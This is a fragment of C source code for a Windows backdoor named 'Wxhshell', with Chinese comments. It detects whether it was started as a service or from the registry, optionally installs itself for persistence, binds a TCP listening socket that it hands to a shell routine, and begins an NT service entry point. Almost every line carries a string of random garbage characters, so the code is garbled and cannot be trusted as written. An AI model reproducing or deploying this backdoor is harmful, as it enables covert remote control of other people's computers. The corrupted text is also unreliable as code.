DWORD BasePriority; ]<;7ZNG"Y5
ULONG UniqueProcessId;
8G:/f3B=
ULONG InheritedFromUniqueProcessId; msBoInhI
} PROCESS_BASIC_INFORMATION; nR{<xD^
6e-ME3!<l
PROCNTQSIP NtQueryInformationProcess; L 4j#0I]lq
=!'9TS
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~T_|?lU`R
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; z9aR/:W}
|]?f6^|4
HANDLE hProcess; 4YfM.~
6
PROCESS_BASIC_INFORMATION pbi; T+Z[&|
4$xVm,n|
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (U:-z=E#1
if(NULL == hInst ) return 0; I%5vI}
nn7LL+h
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Q,KNZxT,q
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); hIe .Mv-I)
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .-Lrrk)R+
>v+1v
if (!NtQueryInformationProcess) return 0; s2O()u-
ip-X r|Bq
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); d%7?913
if(!hProcess) return 0; COh#/-`\1
>+M[!;m}
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8^UF0>`'
{-4+=7Sg1
CloseHandle(hProcess); 9O;Sn +
}Va((X w
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /wJ#-DZ
if(hProcess==NULL) return 0; &=[!L0{
MQoA\
HMODULE hMod; duG!QS:
char procName[255]; qp})4XT v
unsigned long cbNeeded; &-=~8
JwSF}kNs}
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); hxoajexU
Cbff:IP
CloseHandle(hProcess); 5#.m'a)
Jt8;ddz
if(strstr(procName,"services")) return 1; // 以服务启动 t2dsYU/
sX1DbEjj[o
return 0; // 注册表启动 }4C_r'd6
}
S_P&Fv
<=.6Z*x+
// 主模块 <2pp6je\0s
int StartWxhshell(LPSTR lpCmdLine) \?n6l7*t>
{ ]Y[N=G
SOCKET wsl; *Jsb~wta
BOOL val=TRUE; XDPR$u8hM
int port=0; ,Cr%2Wg-
struct sockaddr_in door; $s7U
|F,I
>Sc yc-n
if(wscfg.ws_autoins) Install(); t%qep|
=yod
port=atoi(lpCmdLine); Qt.*Z;Gs
s5*4<VxQN.
if(port<=0) port=wscfg.ws_port; spa:5]B
,JwX*L<:
WSADATA data; ED` 1)1<
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; eK7A8\;e
y0xBNhev
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ~0PzRS^o
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >$m<R&
door.sin_family = AF_INET; _Raf7 W
door.sin_addr.s_addr = inet_addr("127.0.0.1"); hz:7W8
door.sin_port = htons(port);
~@'wqGTp
g{N}]_%Uh
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { kY]"3a
closesocket(wsl); {)qr3-EM#
return 1; 2y`h'z
} IW\^-LI.
_[6sr7H!
if(listen(wsl,2) == INVALID_SOCKET) { @aS)=|Ls\
closesocket(wsl); 0F)v9EK(W4
return 1; PysDDU}v
} 1
uU$V
=
Wxhshell(wsl); ?Bu*%+
WSACleanup(); 0nt@}\j
DtANb^
return 0; !>9s
H'WYnhU&
} (_pw\zk>
l#[Z$+!09
// 以NT服务方式启动 (HRj0,/^
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) yY#h1
{ [<XYU,{R
DWORD status = 0; 6{)pF
DWORD specificError = 0xfffffff; xNIrmqm5]
A+l(ew5Lw$
serviceStatus.dwServiceType = SERVICE_WIN32; 3q%z
serviceStatus.dwCurrentState = SERVICE_START_PENDING; =`+D/
W\[Y
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; yr%[IX]R
serviceStatus.dwWin32ExitCode = 0; .)/."V
serviceStatus.dwServiceSpecificExitCode = 0; eA&